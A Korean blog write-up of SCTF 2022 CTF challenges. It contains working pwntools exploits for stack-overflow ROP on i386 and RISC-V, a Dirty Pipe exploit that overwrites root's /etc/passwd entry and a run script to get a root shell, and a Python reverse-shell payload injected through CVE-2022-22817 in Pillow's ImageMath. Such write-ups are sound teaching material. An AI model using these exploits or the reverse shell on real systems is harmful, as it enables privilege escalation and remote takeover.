SCTF 2022 write-up

Posted Aug 24, 2022 Updated Oct 7, 2024

By brwook

12 min read

수고했다! 다음엔 더 잘해보자~

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Pwnable

pppr

Arch : i386-32-little
RELRO : Full RELRO
Stack : No Canary found
NX : NX enabled
PIE : No PIE (0x400000)

  
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[4]; // [esp+0h] [ebp-8h] BYREF

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  alarm(0xAu);

  r(v4, 64, 0); // read(0, v4, 64);
  return 0;
}

v4에서 BOF가 발생하고, 이를 바탕으로, ROP를 수행하여 쉘을 따내는 문제이다.

문제에서는 system@plt를 제공하기 때문에, libc를 leak할 필요도 없고 제공해주지도 않았다.

제목이 pppr, 즉, pop이 3개 있는 gadget을 사용하라는 의미이고, 적당히 BSS 세그먼트에 "/bin/sh"를 작성하고, 쉘을 띄우면 된다.

  
from pwn import *

p = remote('pppr.sstf.site', 1337)
system_plt = 0x80483d0
r = 0x8048526
pppr = 0x080486a9
buf_in_bss = 0x804a040

payload = b'A'*0xC
payload += p32(r)
payload += p32(pppr)
payload += p32(buf_in_bss)
payload += p32(0x100)
payload += p32(0)
payload += p32(system_plt)
payload += p32(0)
payload += p32(buf_in_bss)
p.sendline(payload)
p.sendline(b'/bin/sh')

p.interactive()

SCTF{Anc13nt_x86_R0P_5kiLl}

riscy

Arch : em_riscv-64-little
RELRO : Partial RELRO
Stack : No Canary found
NX : NX enabled
PIE : No PIE (0x400000)

  
int main(int argc, char *argv[])
{
  ...
  start();
  return 0;
}

void start() {
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  char buf[32];
  memset(buf, 0, sizeof(buf));
  read(0, buf, 256);
  
  if (!strcmp(buf, "250382"))
    printf("Password OK :)\n");
  else
    printf("Invalid Password!\n");
}

start 함수 내부에서 BOF가 발생한다.

그런데, 문제는 아키텍쳐가 RISC-V기 때문에 관련 내용을 알아보다가 풀이 시간이 길어졌다.

내가 짧게나마 이해한 바로는, RISC-V 64비트 아키텍쳐는 다음과 같았다.

레지스터
- a0 ~ a7 : 함수 인자
- s0 ~ s11 : saved register (함수 시작 부분과 끝 부분에 스택에 저장되었다가 레지스터로 복구)
- a7 : syscall number
- ra : Return Address
- sp : 스택 포인터
- pc : Program Counter (RIP라고 생각하면 편함)
어셈블리어
- ld : 메모리에서 레지스터로 값을 가져올 때 사용
- sd : 레지스터에서 스택으로 값을 저장할 때 사용
- li : 레지스터로 상수를 로드할 때 사용
- mv : 레지스터에서 레지스터로 값을 옮길 때 사용
- ecall : syscall
- ret : ra 레지스터에 있는 값을 pc 레지스터로 옮김
- j* : jmp
- jal* : call

그리고, 이제 할 것은 execve("/bin/sh", 0, 0)을 실행시키기 위한 유용한 gadget을 찾는 일이다.

a0 : "/bin/sh"
a1 : 0
a2 : 0
a7 : 221

아참, syscall table은 여기서 구했다.

마침 문제 바이너리가 static으로 컴파일되어 있기 때문에, 좋은 것들이 많다.

나는 다음과 같은 gadget을 사용했다.

gadget1
   4a1e8:   60a6                    ld  ra,72(sp)
   4a1ea:   6406                    ld  s0,64(sp)
   4a1ec:   74e2                    ld  s1,56(sp)
   4a1ee:   7942                    ld  s2,48(sp)
   4a1f0:   79a2                    ld  s3,40(sp)
   4a1f2:   7a02                    ld  s4,32(sp)
   4a1f4:   6ae2                    ld  s5,24(sp)
   4a1f6:   6b42                    ld  s6,16(sp)
   4a1f8:   6ba2                    ld  s7,8(sp)
   4a1fa:   6161                    addi    sp,sp,80
   4a1fc:   8082                    ret

gadget2
   2b568:	68e2                	ld	a7,24(sp)
   2b56a:	6802                	ld	a6,0(sp)
   2b56c:	65a2                	ld	a1,8(sp)
   2b56e:	6542                	ld	a0,16(sp)
   2b570:	87d6                	mv	a5,s5
   2b572:	4701                	li	a4,0
   2b574:	4681                	li	a3,0
   2b576:	4601                	li	a2,0
   2b578:	9a02                	jalr	s4

  
from pwn import *

p = remote('riscy.sstf.site', 18223)

gadget1 = 0x4a1e8
gadget2 = 0x2b568
gadget3 = 0x47586
payload = b'/bin/sh\x00'
payload += p64(0) * 4
payload += p64(gadget1)
payload += p64(0) * 4
payload += p64(gadget3)         # s4 (ecall gadget)
payload += p64(0) * 3
payload += p64(0x4000800cd8)
payload += p64(gadget2)
payload += p64(0)
payload += p64(0)               # a1
payload += p64(0x4000800ce0)    # a0
payload += p64(221)             # a7
print(len(payload))
p.send(payload)
p.interactive()

ASLR이 걸려 있지 않은지, 스택의 주소가 바뀌지 않았다.

마침 gdb로 vmmap을 쳐도 qemu라고만 나오고 주소가 제대로 나오지 않았는데, 다행이다하고 스택에 그냥 썼다. (이거 때문에 도커에서 주소 다시 찾았다..)

이 문제를 통해, 정규표현식에 다시금 익숙해질 수 있었다.

SCTF{Ropping RISCV is no difference!}

Super mario

Arch : amd64-64-little
RELRO : Full RELRO
Stack : Canary found
NX : NX enabled
PIE : PIE enabled

Super mario 문제는 단순히 Dirty pipe를 이용한 문제였다.

Dirty pipe는 단순히 설명하면 파이프 버퍼 구조체인 struct pipe_buffer의 flags 멤버가 초기화되지 않아, 쓰기 권한이 없는 파일이 없음에도, read-only 파일에 대한 페이지 캐시에 덮어쓰기하고, 그 내용이 원본에도 반영되는 취약점이다.

원본 PoC에서는 splice()를 이용하고 있지만, sendfile() 또한 가능하다는 것을 언급하고 있고, 이 문제는 sendfile()을 이용해서 Dirty Pipe를 일으키는 문제이다.

Dirty Pipe 자체는 PoC가 단순한데, 그래서 이 문제도 풀이가 단순하다.

pipe를 만들고, 파이프의 내용을 꽉 채웠다가 모두 비운다. 이는 pipe_buffer의 flags를 PIPE_BUF_FLAG_CAN_MERGE로 세팅해두기 위함이다.
sendfile()를 이용해, read-only 파일의 내용을 파이프에 넣는다. 이때, 실제 파일의 내용이 복사되는 것이 아니라, 페이지 캐시의 주소를 저장하는 것이다.
파이프에 임의의 데이터를 작성한다. 이 데이터는 페이지 캐시의 내용을 덮어쓰고, 이는 원본 파일에 반영된다.

문제 풀이를 진행할 때는, /etc/passwd에서 root 유저의 비밀번호를 ‘piped’로 바꾸었고,

문제에서 실행해주는 파일인 /home/guest/info.sh의 내용을 bash 쉘을 띄우는 걸로 바꾸었다.

처음에는 uname 바이너리의 내용을 바꿔서 쉘을 띄우려고 했는데, 삽질을 좀 했다… 이상하게 서버에선 바뀌어도 쉘이 안 띄워지더라? 이유는 모른다 ㅠㅠ.

  
from pwn import *

def write_pipe(payload):
    p.sendlineafter(b"cmd>", b'2')
    p.sendlineafter(b"size?>\n", str(len(payload)).encode())
    p.sendafter(b"input>", payload)

def read_pipe():
    p.sendlineafter(b"cmd>", b'1')

def read_file(path, size):
    p.sendlineafter(b"cmd>", b'4')
    p.sendlineafter(b"Path>", path)
    p.sendlineafter(b"size?>", str(size).encode())

context.log_level = 'debug'
p = remote('supermario.sstf.site', 34003)
for _ in range(0x10):
    write_pipe(b'A'*0x1000)

for _ in range(0x10):
    read_pipe()

read_file(b'/etc/passwd', 0x4)
write_pipe(b':$6$root$xgJsQ7yaob86QFGQQYOK0UUj.tXqKn0SLwPRqCaLs19pqYr0p1euYYLqIC6Wh2NyiiZ0Y9lXJkClRiZkeB/Q.0:0:0:test:/root:/bin/sh\n') # set root passwd to 'piped'

read_file(b'/home/guest/info.sh', 0x1)
write_pipe(b'!/bin/sh\n/bin/bash\n')

p.interactive()

SCTF{cl3ar_D1rty_p1p3}

Web

Imageium

옵션을 선택해서 주면, 한 개의 사진에서 색에 변화를 시켜서 보여주는 웹사이트였다.

색이 변하는 사진의 링크를 찾아가서, 플래그 주세요하고 인자를 바꿨더니, 저런 출력을 주더라.

ImageMath? 구글링 좀 하니 다음 정보를 얻을 수 있었다.

https://www.cvedetails.com/cve/CVE-2022-22817/

CVE-2022-22817을 이용한 문제였다.

왠지 공격자가 입력할 수 있는 유일한 창구인 mode 변수에 exec를 주고 임의 명령을 실행시킬 수 있을 것 같았다.

/dynamic/modified?mode=exec("import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')")

파이썬에서 리버스 쉘 코드 찾아서, 가져다가 실행시켰고, 플래그 찾아서 읽었다.